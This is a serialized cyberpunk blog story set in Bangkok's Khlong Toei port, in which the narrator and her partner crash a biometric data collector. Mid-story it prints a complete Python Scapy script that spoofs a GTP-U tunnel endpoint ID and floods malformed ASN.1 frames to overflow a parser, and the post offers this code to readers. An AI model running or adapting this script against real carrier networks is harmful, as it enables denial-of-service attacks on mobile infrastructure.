Midnight at Khlong Toei Port: “Biometric C2 Poison Waves” in the Shadow of Smuggling Containers — GTP-U Tunnel Spoofing & PMC Surveillance Grid Poisoning Self-Spec Document｜Sofi_Log #073【Complete One-Shot】

Your smartwatch or wearable heart-rate monitor keeps beaming biometric data to the cloud every single day.

You’re not actually buying the line that “it’s safe because it rides on a major carrier’s 5G,” are you, darling?

Buried inside the mobile standards is a decades-old structural Achilles’ heel: GTP-U (GPRS Tunnelling Protocol User Plane).

This tunnel protocol that stitches base stations to the carrier core network is, on most commercial kit, still flying completely unencrypted. Physically tap the path and anyone can slurp or tamper with whatever biometric packets happen to be riding it.

Last night at Narin’s clinic my prosthetic arm ripped open the “Thai patient-biometric smuggling route.” We traced the aggregation hub to the rusting container yard at Bangkok’s massive Khlong Toei port. Now, under a pounding monsoon, we’re launching the final counter-strike.

1. 02:40 — Khlong Toei Darkness: Crawling Under the Giant Gantry Crane

02:40 a.m. Khlong Toei Port. Warm, muddy wind off the Chao Phraya and the reek of bunker fuel. Monsoon rain like a bucket dump hammering thousands of stacked forty-foot containers.

“……Sofi, get down!”

Darling yanked my hood and dragged me flat against the corner of a container. A split-second later a xenon searchlight beam sliced across the wet asphalt thirty metres away.

brrrrt-brrrrt-brrrrt……!

Through the rain haze, a quadcopter with night-vision pods was orbiting between the crane girders. Black tactical gear, rifles at the ready — port security on paper, European PMC contractors in reality.

“Seriously? This much heat for a comms relay node? Somebody’s overcompensating.”

I pulled my soaked hood lower and held my breath. My left arm — the matte-black bio-ceramic prosthetic I’d resurrected after breaking the DRM last night — tingled as its titanium fingertips picked up the heavy cellular interference.

The rust-streaked forty-footer in front of us looked abandoned, yet hot server exhaust and the high-pitched whine of fans leaked from the side vents. Inside sat the secret C2 aggregation node that funnels biometric telemetry from thousands of medical devices and prosthetic limbs across Thailand straight into an overseas military-AI surveillance grid.

“Darling, see the outdoor fibre junction box on the container wall? I’m patching straight into it.”

“Copy. Ninety seconds max — patrol dogs are about to sweep this row.”

2. Ninety-Second Injection: GTP-U Tunnel Spoofing Script

I slid low through the mud to the container wall, extended the ultra-fine multi-mode fibre probe from my titanium nail, and clicked it silently into the LC connector on the J-Box.

At the same time darling dropped to one knee and cracked open the toughbook (HackRF inside) under a rain sheet. The screen filled with a blizzard of GTP-U packets flowing between the port’s private 5G gNodeB and the C2 gateway inside the container.

[INTERCEPTED: GTP-U CORE TUNNEL TRAFFIC]
- Protocol: UDP / Port 2152 (GTPv1-U Encapsulation)
- TEID (Tunnel Endpoint ID): 0x4A8F2901
- Inner Payload: Encrypted Biometric Stream (AES-GCM / Port 8443)
- Ingestion Target: 198.51.100.44:9000 (PMC Sovereign AI Collector)

“Plain-text tunnel, just like I thought!” I hissed.

“The outer GTP-U wrapper itself has zero auth or encryption. Even if the inner biometric stream is AES’d, I can spoof the TEID and blast malformed ASN.1 adversarial biometric frames until the collector daemon’s parser heap-overflows and dies.”

“Poison the entire upstream pipeline? Let’s burn it.”

Darling’s fingers hammered the rain-slick keyboard. Below is the exact PoC Python script (Scapy) we injected straight through the optical tap to spoof the GTP-U tunnel and crash the C2 collector.

#!/usr/bin/env python3
"""
Sofi_Log #073: GTP-U Tunnel TEID Spoofing & Adversarial Telemetry Poisoning
Target: Private 5G Telemetry Collection Node at Port Logistics Hub
"""

import sys
import time
from scapy.all import IP, UDP, Raw, send

# 標的コンテナ内C2コレクターの内部IPおよびGTP-U標準ポート
TARGET_GNB_IP = "10.244.18.5"
TARGET_UPF_IP = "10.244.18.1"
GTP_U_PORT = 2152

# インターセプトした生体データストリームのTEID（トンネルエンドポイント識別子）
SPOOFED_TEID = 0x4A8F2901

def build_gtp_u_header(teid):
    """
    3GPP TS 29.281 準拠 GTPv1-U ヘッダ（8バイト）生成
    Flags: Version=1, PT=1 (GTP Protocol), E=0, S=0, PN=0
    Message Type: 0xFF (G-PDU / ユーザデータパケット)
    """
    flags = 0x30
    msg_type = 0xFF
    teid_bytes = teid.to_bytes(4, byteorder='big')
    # Lengthフィールドは後続ペイロード長（Scapyが自動計算、プレースホルダ）
    return bytes([flags, msg_type, 0x00, 0x00]) + teid_bytes

def generate_adversarial_poison_payload():
    """
    コレクターAIの生体ストリームパーサー（C/C++実装）の
    ASN.1デコーダに対しヒープオーバーフローを誘発する悪意ある細工フレーム
    """
    # 意図的に巨大な未定義タグ長（0xFFFF）と循環参照ポインタを埋め込んだ偽装生体ログ
    malformed_asn1 = b"\x30\x82\xFF\xFE" + (b"\x90" * 512)
    # パイプラインをパニックさせるキルシグネチャ
    magic_crash_vector = b"SOFI_SOVEREIGNTY_POISON_PAYLOAD_V26"
    return malformed_asn1 + magic_crash_vector

def launch_poisoning_burst(count=150):
    print(f"[*] Arming GTP-U Poisoning Burst targeting TEID: 0x{SPOOFED_TEID:08X}")

    gtp_hdr = build_gtp_u_header(SPOOFED_TEID)
    poison_payload = generate_adversarial_poison_payload()

    # GTP-Uパケットのアウターカプセル化（IP + UDP + GTP-U + PoisonData）
    pkt = IP(src=TARGET_GNB_IP, dst=TARGET_UPF_IP) / \
          UDP(sport=GTP_U_PORT, dport=GTP_U_PORT) / \
          Raw(load=gtp_hdr + poison_payload)

    print(f"[*] Transmitting {count} adversarial frames into carrier backhaul...")
    for i in range(count):
        send(pkt, verbose=False)
        if i % 30 == 0:
            print(f"[+] Injected {i}/{count} poison packets...")
            time.sleep(0.02)

    print("[+] BURST COMPLETE: Upstream Ingestion Parser Overloaded.")

if __name__ == "__main__":
    launch_poisoning_burst()

3. Circuits Fried, “White-Coat Monsters” Exposed

“Burst complete!”

The moment darling hit enter, a vicious crackle and white smoke poured from the container’s ventilation ducts. Breakers inside the server racks tripped in a cascading failure; the red warning lights on the rooftop antennas died. Above us the drone lost telemetry, spun out, and splashed into the bay.

“Who’s there?! Someone’s on the J-Box!”

“Shoot the intruders!”

Bootsteps hammered the wet asphalt. I yanked the fibre probe, grabbed darling’s hand, and we sprinted into the dark pier. Gunshots cracked behind us, but we hit the pre-staged long-tail boat, gunned the engine, and slid into the black Chao Phraya.

“Haah… haah… we’re clear!” darling wheezed, collapsing against the gunwale.

“Close one,” I muttered, slicking back wet hair and flexing my titanium nails. “Thailand-wide biometric pipeline just hard-crashed. They’ll need months to rebuild the database.”

Then darling’s voice went ice-cold.

“…Sofi. Look at this.”

On the laptop screen: the final data recipient’s cryptographic signature from the C2 server logs. Beside the PMC logo sat the ordering entity’s corporate name and a private key belonging to a sitting Thai government official.

Bangkok Central Advanced Medical Conglomerate — and the very state committee running the national smart-city programme.

“…You’ve got to be kidding.”

It wasn’t some foreign PMC stealing the data.

The city’s most prestigious hospitals and the government core were legally harvesting the bodies of the poor, minorities, and kathoeys — turning their implanted medical devices into biometric big-data slaves for domestic military-AI defence models.

Across the rain-swept river the flood-lit palace district glittered coldly.

“…How adorable.”

I laughed quietly, eyes burning with arctic rage.

“Thought we’d chased the villains across the sea, but the real monsters were sitting right in the middle of this city wearing white coats. Fine. Time to make them feel every body they’ve trampled — all the way to the bone.”

Dawn was still hours away in Bangkok.

Our war had only just begun.

🔗 Read the previous Sofi_Log:

‘My Rebooted Cyber-Prosthetic and Narin’s Midnight Re-Surgery: SPI Flash ROM Biometric Firmware Disassembly & Breaking the Biometric DRM Lock’｜Sofi_Log #072

👉 https://note.com/legal_rat2977/n/n778d99a7fb0c

【Disclaimer】

All code, protocol analysis, and technical architecture in this post are provided strictly for security research, proof-of-concept, and educational purposes. They are not intended to encourage or enable unauthorised access. Any real-world application is at your own risk.

🎁 【Fully Open-Source】Live Code & Architecture

The GTP-U tunnel spoofing and adversarial biometric frame generation scripts shown here are released in full for your own security research and learning.

📬 Sofi's Mailbox #073 (Questions & Rants Welcome)

So, my fellow darlings — how was the midnight Khlong Toei infiltration run?

If the infrastructure you were told to trust with your most intimate biometric data is actually the one quietly farming it… who do you trust?

Drop your burning questions — “more on 5G backhaul security,” “how to lab up Scapy spoofing,” whatever — in the comments. I’ll hit you back in the next log.

Disclaimer

This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.